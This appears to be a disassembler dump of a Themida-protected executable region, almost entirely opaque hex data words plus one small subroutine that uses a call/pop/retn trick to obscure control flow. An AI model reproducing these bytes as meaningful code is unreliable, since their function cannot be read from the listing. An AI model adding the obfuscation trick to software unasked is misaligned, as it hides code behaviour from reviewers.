dd 95FA85CFh, 0FF5FBC3Dh, 1005D595h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0BA25A273h
dd 8B30E85Dh, 1031719Dh, 6D858906h, 6A0613C2h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 8D58C357h, 9B7F9880h, 0D43AE8C7h, 1E2E9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 501453Fh, 6D439BCBh, 89F7BB66h, 0C265858Bh, 0DA8A0613h
dd 1800C7h, 0BD8B0000h, 6100051h, 0C269B58Bh, 6A0613h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 4EBA9CC3h, 360DC9CEh, 9D890040h, 6100E71h, 0E25858Bh
dd 95310610h, 6100975h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0D2E2F1C3h, 50777C2Bh
dd 8BEE4810h, 1023D99Dh, 85858B06h, 0B061021h, 102DE1BDh
dd 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 13C35040h, 0C5823FF8h, 664C5818h, 0B0BBE381h, 0C2BB5250h
dd 5F42DE5Eh, 29243489h, 1015B585h, 65B5FF06h, 6A0613C2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 993C355h, 0A30067D6h, 89F92BE5h, 10191D95h
dd 54FB6806h, 0BF66D1CFh, 48165EFh, 4FAF0424h, 0DE8B662Eh
dd 0C26D858Dh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 9FF579C3h, 0A5B58957h, 5F061005h
dd 9088BF66h, 10E850h, 862C0000h, 0AC888682h, 52735C8Ch
dd 5118F04h, 11E9EC5Bh, 75000000h, 0E4490693h, 25F7E0D5h
dd 6C98F7FDh, 1E5BDF95h, 2404895Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0E5C35545h, 68AA81EEh, 9589C0F4h
dd 6101FA9h, 4860Fh, 0BF660000h, 95FFCFB9h, 61005D5h, 0E9DE8B66h
dd 13h, 7B10B9D1h, 8F10ED05h, 0C9DB116Dh, 0B3CA29B0h, 6117B559h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 46C35141h
dd 0BD8BC0F9h, 6102ACDh, 22C185C7h, 30610h, 0BD8B0000h
dd 6101DD1h, 0D939E781h, 0BD831D9Ah, 613C26Dh, 1A840F00h
dd 0F8000000h, 2FE9h, 9D016000h, 6101BE1h, 68B0Fh, 9D8B0000h
dd 61013BDh
dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
dd 0C08B00EBh, 0BFDE8B66h, 320BC985h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 65C35242h, 22C1BD83h, 0F030610h
dd 3C885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 8C7609F3h, 0BD830AEEh, 613C26Dh
dd 9A840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 0D34EC353h, 88D9D89h
dd 0B5FF0610h, 613C26Dh, 17059D8Bh, 95FF0610h, 6102FA5h
dd 0C261B58Bh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0CFA2ADC3h, 5026E484h, 81666029h
dd 0F8281C0h, 488h, 70B96600h, 95896153h, 61001E9h, 106C7h
dd 8B660001h, 11E850DAh, 95000000h, 8100951Fh, 0BF4DB9C4h
dd 2A726C9Fh, 86F04F6Ch, 6850Fh, 52500000h, 585A310Fh
dd 2434895Bh, 1705BD8Bh, 0B5FF0610h, 613C26Dh, 208DBD89h
dd 95FF0610h, 6101225h, 7BDB8166h, 61B58B00h, 660613C2h
dd 0AA40EB81h, 21D1858Bh, 2B70610h, 0C48689h, 5EBB0000h
dd 8B723D8Ch, 1009F595h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0F1C1FFC7h, 72CF810Eh
dd 83548487h, 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0B7CA75C3h, 20508926h, 1B899D8Bh
dd 8D890610h, 6103169h, 0D7C2858Dh, 8B660613h, 0B88689FEh
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 8E62C356h, 0FDB44C9Dh, 8BBF8B30h
dd 1023E19Dh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 6AD7C357h, 9EB87DF6h
dd 6509D07Dh, 2935BD89h, 0B5FF0610h, 613C26Dh, 14E9h, 0F926AF00h
dd 0E7F8ABE0h, 0D9F8DDF3h, 0BD9F56AEh, 0C2D31900h, 9595FFF8h
dd 0E9061004h, 5, 0DD1F8D71h, 5E9960Ch, 56000000h, 0A7C6B309h
dd 0E9CDBB50h, 6A965690h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 6887C352h, 0BF0EF22Bh
dd 0FD8A596h, 687h, 0E1B58900h, 8B061007h, 1028459Dh, 6DB5FF06h
dd 6A0613C2h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 8B37C350h, 1022759Dh, 39958906h
dd 0FF061011h, 10162D95h, 0BD9D8906h, 83061027h, 101351BDh
dd 840F0006h, 4Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 63C35545h, 1C10042Dh, 0FC1B70Fh, 5096F8BFh
dd 0AE8h, 14963C00h, 0FE0E2389h, 0E9016B9Eh, 0Bh, 5FF120F9h
dd 277B3A09h, 5F7C9B86h, 19953196h, 0FF061008h, 13C26DB5h
dd 0F1958906h, 0FF06101Eh, 100C1995h, 0CE906h, 3F0C0000h
dd 88482A76h, 0A956E02Eh, 0B5FF1DB1h, 613C26Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EFC35646h, 0E05416AAh
dd 47F2DA7Ch, 1CCD8D89h, 95FF0610h, 6101621h, 9E8h, 18E62900h
dd 0FCE8C9C3h, 0B70F95CDh, 0BD835BF9h, 6100F89h, 62840F02h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 1C9C353h, 100901B5h, 0C5858B06h
dd 31061010h, 102829BDh, 0C606h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 34C35545h, 115C13Bh, 60AE6675h
dd 2E558589h, 9D8B0610h, 610096Dh, 2585C761h, 6102Ah, 8B000000h
dd 101EE9BDh, 0F3C1E906h, 0C18BFFFFh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0FAC35242h, 8E6E26CAh, 2A199D03h
dd 858D0610h, 61013B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0A7C35545h, 9A254204h, 2EDD8529h, 0F500610h
dd 481h, 0B4BF6600h, 2404895Eh, 0E47961BFh, 6A006A2Dh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0F4CBC351h, 0BA1B185h, 100C6DBDh, 0E9BD8B06h
dd 6A061000h, 0A19D8B00h, 8D061016h, 14609D85h, 0DE8B6606h
dd 0E905C083h, 8, 1F6DC559h, 543B39FDh, 0F208BB66h, 4880F90h
dd 50000000h, 505FD98Bh, 0AFB3BB66h, 5850F90h, 66000000h
dd 377EDB81h, 0B61B589h, 6A0610h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 9EC35040h, 0D0C38166h, 6A006A38h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 871AC352h, 9D7A02A8h, 1D1995FFh, 8D090610h
dd 6102D59h, 0AFD88D8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 8BAD16C3h, 0ED5E811Ah
dd 0BF261D9Bh, 1D7B2107h, 0F88BD1FFh, 0E54FBF66h, 2209BD83h
dd 0F010610h, 4F85h, 830F00h, 6A000000h, 0E9B52902h, 50061022h
dd 48926B3h, 0FAB70F24h, 49595FFh, 6A0610h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7F84BC3h
dd 642B7AE8h, 605121ADh, 0E6C8A2BBh, 59BD0132h, 6106102Dh
dd 0EACE9h, 0E800h, 815D0000h, 1460A7EDh, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 2A94970Ch, 848EABBEh, 9D8BEB75h, 6100B99h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E7C35040h, 858DF3CFh
dd 61399B6h, 90DF8B66h, 0B840Fh, 6E90000h, 0CF000000h
dd 7187E9FDh, 800F502Ah, 5, 989BC7BFh, 6A9007h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 758E8AC3h, 0C1B25C3Dh, 35CF812Eh, 6424352Bh, 35FFh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 7A67A0C3h, 1C8C0F00h, 0E8000000h, 10h, 0E5702604h
dd 616961DAh, 59CFCD5Eh, 6AE916C9h, 1191BD89h, 645B0610h
dd 2589h, 9D0B0000h, 6100B3Dh, 10E9h, 0CA51F300h, 0FC85C14Bh
dd 0F547EC78h, 7EB3A19Dh, 1985FF9Bh, 0F061014h, 0FF6ADFBFh
dd 15C9BD89h, 0B5FF0610h, 6101211h, 0FE9h, 33117500h, 0EE73B898h
dd 7763D9E7h, 3AE1C61h, 61595FFh, 0ECE90610h, 89000000h
dd 102D45B5h, 8D8B6006h, 6100E11h, 0A722D181h, 0B0610280h
dd 95BD8B00h, 0E6061021h, 0E433B770h, 299D3171h, 3C06100Ah
dd 0BC830F61h, 0B000000h, 1001FDBDh, 0C8B60F06h, 1A9DBD8Bh
dd 6BA0610h, 89000000h, 101C0D9Dh, 81C18B06h, 67A115D3h
dd 4E8C11Bh, 0A5C18160h, 0F07FC62h, 6661D1B7h, 9D8BE2F7h
dd 6100C71h, 0D18BC82Bh, 0A2D9D33h, 0D88A0610h, 13E9h
dd 319D0B00h, 60061005h, 0B7F08166h, 598D8B8Fh, 61061014h
dd 2D89858Bh, 0BB660610h, 0C0839B93h, 0C083F507h, 0A9B58900h
dd 3B06102Eh, 11830FD0h, 8B000000h, 10238D9Dh, 35E906h
dd 9D8B0000h, 6102181h, 5298D8Bh, 9D8B0610h, 6100045h
dd 0F01E183h, 1A84h, 0A583FC00h, 6100529h, 0D5BB66FEh
dd 89958991h, 0F06102Dh, 0E9DEBFh, 8D000000h, 13F3BDB5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 0CCEFA66Fh, 3C3737B8h, 0FF5AC78h, 6AFEBFh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 47C35343h
dd 0B686683Ch, 66F47D9Ah, 5220E781h, 5AC78166h, 0C995FF04h
dd 8B061031h, 102AE19Dh, 8BCB906h, 0BF0F0000h, 0FCE183D8h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 57C35343h
dd 0D27244AEh, 89AD435Bh, 1027F5B5h, 9D0BFC06h, 6100A75h
dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0EE180B0Ah, 50CC87BEh, 8B661E5Fh
dd 358D89DEh, 2B06101Bh, 50006AD2h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 67024F2Eh, 0ADFFB70Fh
dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0FA05C351h
dd 8AA06C15h, 0EB8166FEh, 0BF0F33C1h, 880DDEh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0CB7942C3h, 265CF1DFh, 8BF91A58h, 1009F595h, 8C0F06h
dd 8B000000h, 1023198Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0B4766111h, 8B506AEFh
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 16959D8Bh
dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 46AE49C3h, 4D103B85h, 11E18D29h, 0BD830610h
dd 6101E29h, 3E840F00h, 0B8000000h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_59192B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59192B proc near ; CODE XREF: Themida_:00591923p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_59192B endp
; ---------------------------------------------------------------------------
db 17h
dd 0D3AA5AEDh, 0AF8ACF81h, 8D8D3F5Ch, 6104E85h, 1EC38166h
dd 89E1FFF4h, 100EDD95h, 0C1BD8306h, 61022h, 4CD840Fh
dd 0BD830000h, 61022C1h, 0DB840F01h, 6A000004h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 92E5C351h, 1F5F971Dh, 0E94F29FFh, 14h, 446C39F4h, 70DD7B08h
dd 0D3405F32h, 0D17753DBh, 51467290h, 0FE9h, 12D58E00h
dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh, 22C1BD83h, 0F030610h
dd 44786h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 1E419516h, 8B205336h, 8589994Fh
dd 61016A9h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 7A298084h, 99D2350h, 5B06102Eh, 80D98C66h
dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0C0CFBEC3h, 6653B8B5h, 5B3E8CBFh, 840FC90Ah
dd 145h, 93DBD8Bh, 0DE90610h, 5D000000h, 0E254889Eh, 21751A97h
dd 7AB3FD49h, 2185858Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 3870C3C3h, 60B10229h
dd 0DE960h, 0BD310000h, 9B2F7172h, 0E2B1F457h, 61541512h
dd 0FD853361h, 6A061011h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 5F82C351h, 59E1C850h
dd 0C53FB1DBh, 16959D8Bh, 0F900610h, 0A87h, 48D0F00h, 66000000h
dd 50440CBBh, 140F1BBFh, 0BD299076h, 610233Dh, 0CE9006Ah
dd 0FD000000h, 9EB293A1h, 0DB0183F7h, 68C60D59h, 0F4C4D6Ch
dd 0C8C0Fh, 880F0000h, 6, 8B0Fh, 34810000h, 534E9324h
dd 55006A0Fh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0D5691D84h, 8C8F4953h, 0D595FFB1h, 0E9061005h
dd 7, 0A5DD8EA2h, 89488ADDh, 13C26D85h, 0E9DA8B06h, 7
dd 4F85521Ah, 0E94AD773h, 211h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0C5C35040h, 4396E534h, 65858BF9h
dd 8B0613C2h, 102D19BDh, 1800C706h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 5FCBC357h, 0D1E88423h, 2CCE7B83h, 8BD8BF0Fh, 1027F5BDh
dd 0BABF6606h, 69B58BF8h, 0E90613C2h, 14h, 5AED1702h, 0AA65D3AAh
dd 0DAB04454h, 873DAE4Eh, 0ADEE1945h, 0A2DCBB66h, 0E25858Bh
dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 35FA25C3h, 825E818h, 8166EE72h, 892A3BEFh
dd 8E806h, 0D5FD0000h, 0BD1B2B0Fh, 18BB66A4h, 5F309024h
dd 2185858Bh, 10E80610h, 3C000000h, 2DD0C1FCh, 0DD8F00A3h
dd 52FB89BCh, 0BF312C7Ch, 61DD658h, 446895Fh, 96DFB70Fh
dd 9D0BBB51h, 505B4159h, 2AC38196h, 0FF28DFE5h, 13C265B5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 8BC9C722h, 4E8DAh, 3FF0000h, 0F50001Fh
dd 1B8Eh, 50525000h, 5A310F52h, 0E8310F58h, 9, 0D0CE97F6h
dd 0CE3EC430h, 585A5FF9h, 424448Bh, 0BE860h, 0F0540000h
dd 0A69ED355h, 0C3153BA8h, 0F525074h, 5F585A31h, 0BF008B61h
dd 60D3D7DDh, 4244489h, 8AB55760h, 6A586158h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 0F0DDC356h, 0F2BC1064h, 6610189h, 941BD29h, 858D0610h
dd 613C26Dh, 5E8h, 916F9800h, 0D3817217h, 276C8B4Eh, 8B66905Bh
dd 6A9050FAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
db 44h, 24h
word_591D5A dw 1504h ; DATA XREF: Themida_:0054C9EDo
dd 47000000h, 516C357h, 2819BD33h, 95FF0610h, 61005D5h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 63C35242h
dd 9D8B61F1h, 61015A9h, 22C185C7h, 30610h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0C06826C3h, 3B0C8314h, 0B70FD88Ah, 6DBD83DEh, 613C2h
dd 46840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 63739BC3h, 15BD89D1h, 0E906102Ah
dd 37h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
dd 82C35141h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 0FC08B00h, 68Fh, 5BD8B00h, 66061017h, 0BD83DA8Bh, 61022C1h
dd 850F03h, 6A000005h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0F07BC355h, 67000B12h
dd 0D614A51Ah, 201DB589h, 0BD830610h, 613C26Dh, 0C8840F00h
dd 0BB000004h, 30C20F8Dh, 0C26DB5FFh, 8F0F0613h, 6, 0FDE9D381h
dd 95FF1185h, 6102FA5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 7DC35747h, 7094B5C4h, 0BF66B2E3h, 0B58B43AFh
dd 613C261h, 2795BD0Bh, 6C70610h, 10001h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FBC35242h, 0BBA8262Ch
dd 0EB2D285Ah, 9D9D8B3Ch, 96061008h, 3CE2F0BFh, 5056501Ch
dd 0D88B6652h, 14E9310Fh, 91000000h, 158DB7B7h, 62D885A5h
dd 42112224h, 78C933F0h, 5A2B87B3h, 6A965B58h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 4B1FC356h, 0C61C3944h, 732E6D9Ah, 14E59D89h, 9D8B0610h
dd 61013F1h, 0C26DB5FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 0E9ADDCC3h, 13793A17h
dd 8A0Fh, 0E9570000h, 0Dh, 4E1176C4h, 0E2CD433Bh, 0A2640AD6h
dd 95FF5FE0h, 6101225h, 0C261B58Bh, 6A0613h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 0E02042C3h
dd 0F165E48h, 1881h, 13E900h, 0D3A80000h, 87EFA7E3h, 0C681227h
dd 0FCBB8AEEh, 9223ED56h, 0D1858B7Bh, 6A061021h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 40D2C356h, 4DB460Ch, 0C48689h, 95090000h, 6100B09h
dd 9F5958Bh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0FF8542C3h, 80D8033Fh, 0C2839EB3h
dd 13E904h, 4FCD0000h, 0AA95E9ABh, 0C78C25A4h, 0DDE4D183h
dd 0EE305AB3h, 20508966h, 1BAFBB66h, 0D7C2858Dh, 6A0613h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 721172C3h, 9554E1DDh, 89FB40F7h, 10284D95h, 0B8868906h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 2038C355h, 51D0806h, 0BD23FB8Bh
dd 6101F31h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 0BA5B0BC3h, 0A32F49B3h, 66160F0Ah
dd 0B5FFF98Bh, 613C26Dh, 0DEDBD8Bh, 95FF0610h, 6100495h
dd 1F3D8D89h, 0E8500610h, 0Eh, 0E01A88B4h, 0B0F55082h
dd 3B38F2A5h, 0BF669E85h, 895B08D8h, 6E92434h, 0B1000000h
dd 6B4E41E5h, 0C19D0391h, 0FF061016h, 13C26DB5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0D300FD4h, 5DE943B7h, 6E8h, 0B4753F00h, 0B32C96E4h
dd 95FF5FFCh, 610162Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 0A0C35747h, 9D2B62FAh, 6100935h, 56DB8166h
dd 51BD83DCh, 61013h, 3E840Fh, 81660000h, 50A57FD3h, 0FE8h
dd 387A2F00h, 547BCF3h, 0BAF48AF1h, 0CF297F76h, 0BFE7BF66h
dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 17C35747h, 0C26DB5FFh, 6A0613h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0E58AD8C3h
dd 0D4193BACh, 60CB2B9Fh, 14E8h, 52D21300h, 0FB4ED10Dh
dd 0E1BDC699h, 5BB830B4h, 24273911h, 7E811h, 45930000h
dd 0CE87A01Dh, 0F85F5EC0h, 1995FF61h, 0F06100Ch, 148Ah
dd 0BD896000h, 61006F5h, 7E9h, 9DC34C00h, 36918C6Fh, 8E861h
dd 5E1D0000h, 28A48F51h, 0FA8BA147h, 6DB5FF5Fh, 6A0613C2h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 15CC352h, 0F33FAFFEh, 0F81BC95h, 0B70FF8B7h
dd 2195FFFBh, 6A061016h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 8983C352h, 9D8B69B0h
dd 6100FB5h, 0F89BD83h, 0F020610h, 6284h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 5A1909CCh, 8B6B043Eh, 1010C585h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 53946ECCh
dd 0BE9101Eh, 0F2000000h, 0CA50F18Bh, 34097184h, 0C6FBC9h
dd 1DBD8B00h, 0C7061013h, 102A2585h, 6, 919D8B00h, 0E9061013h
dd 0FFFFF29Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0BCC35545h, 833D92C5h, 5DE0FB87h, 89C18B86h, 100C29B5h
dd 0B9858D06h, 2B061013h, 102DBDBDh, 8B509006h, 816690FBh
dd 6AF218DBh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 8EADAB33h, 0CDC98ED6h, 1D858980h
dd 50061019h, 1659D8Bh, 6A5F0610h, 0B5896000h, 61016DDh
dd 0AAD9D33h, 8D610610h, 14716885h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 89F9FA91h
dd 101DFD8Dh, 5C08306h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 70C35141h, 0D1BD0B4Eh, 0B306100Dh, 4895066h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 85B61DCh, 33A58FD8h, 1015919Dh, 6A006A06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 74F7C353h, 14BAA2C6h, 9D8BD0FDh, 61030A5h
dd 0B0BB006Ah, 0FF3DB34Eh, 101D1995h, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0E9B04A92h, 0Fh, 0B9F7247Dh, 9AC3134Eh, 35051338h, 8D77FE19h
dd 13AFD88Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 0B9C348CBh, 1A7B6F82h, 0EDBF66D1h
dd 0CD9589CBh, 0FF06102Eh, 1A870FD1h, 60000000h, 12E9F8h
dd 7CAA0000h, 0CFB24AC4h, 9663C294h, 8E795FE1h, 91EBF02Ah
dd 9BD8361h, 1061022h, 75850Fh
dd 0B5290000h, 6102275h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 152623C3h, 0D2E35080h
dd 0D7816682h, 8166C4F5h, 509139CBh, 2870Fh, 4B70000h
dd 0FF240489h, 10049595h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0D8094D0Bh
dd 9E8h, 0FE4DBE00h, 851C6643h, 0E95FB529h, 0D5Fh, 0E8h
dd 0ED815D00h, 6147172h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 0EC35646h, 14E912FDh, 0CD000000h, 102624E6h
dd 6692444Eh, 9A4ECE8Dh, 9AD28B65h, 89D2BDD1h, 100B61B5h
dd 0B6858D06h, 6A061399h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 665EC355h, 504630BFh
dd 0DCA0BB51h, 895F437Ch, 6A2404h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 9D03EEC3h, 6100715h
dd 0D5BD0156h, 5B06101Eh, 35FF64h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0F44C357h, 8E0FDFBFh, 8, 0A5B58950h, 5F06101Eh, 258964h
dd 60000000h, 61D58AF9h, 141985FFh, 6A0610h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 6AF55AC3h
dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0FBFD4112h, 0C37D23A6h, 0F2BF665Ch, 0EDB5FFC0h
dd 3061011h, 1031699Dh, 1595FF06h, 0E9061006h, 11Dh, 0B0DD8Ah
dd 11860Fh, 0CE90000h, 5A000000h, 3E48C00Ch, 371F276Ah
dd 0E62FB814h, 0CBB6670h, 0F71E41Ah, 613CFFB7h, 0EF830Fh
dd 7E80000h, 85000000h, 4AD7734Fh, 8166D243h, 5F4DD5DFh
dd 8BC8B60Fh, 102395BDh, 6BA06h, 95010000h, 6102105h, 8166C18Bh
dd 0F89960DFh, 2B04E8C1h, 100A619Dh, 0E2F76606h, 0C82BDE8Ah
dd 9E9h, 43ECF400h, 88E8058Ch, 0D18BEC4Eh, 0E69B589h, 0EE90610h
dd 0F000000h, 885h, 2820F00h, 8B000000h, 5858BD8h, 0F061001h
dd 884h, 95895100h, 610004Dh, 7C0835Bh, 0E359D8Bh, 0C0830610h
dd 5654BF00h, 0D03B22D5h, 13830Fh, 0E9F80000h, 55h, 8A24BB56h
dd 295B334Ch, 10045DB5h, 18D8B06h, 0F061028h, 386h, 0BCE78000h
dd 0F01E183h, 3084h, 62BB6600h, 1A5837Ch, 0FE061028h, 21518531h
dd 95890610h, 6100105h, 0CE8h, 54E63D00h, 0E2D64AB0h, 89E84C91h
dd 5FFA8ABFh, 0E9h, 0A8B58D00h, 6A0613FEh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 5E3AC350h
dd 6A0960D0h, 9D895300h, 6102005h, 0C995FF5Fh, 60061031h
dd 7EDFA8B8h, 62B96174h, 8B000009h, 1012C99Dh, 0FCE18306h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A6C35747h
dd 4A36F75Bh, 895F57FCh, 101B899Dh, 5E906h, 693D0000h
dd 0FC17D535h, 35BD8B52h, 5F06102Fh, 9509C02Bh, 6102FA9h
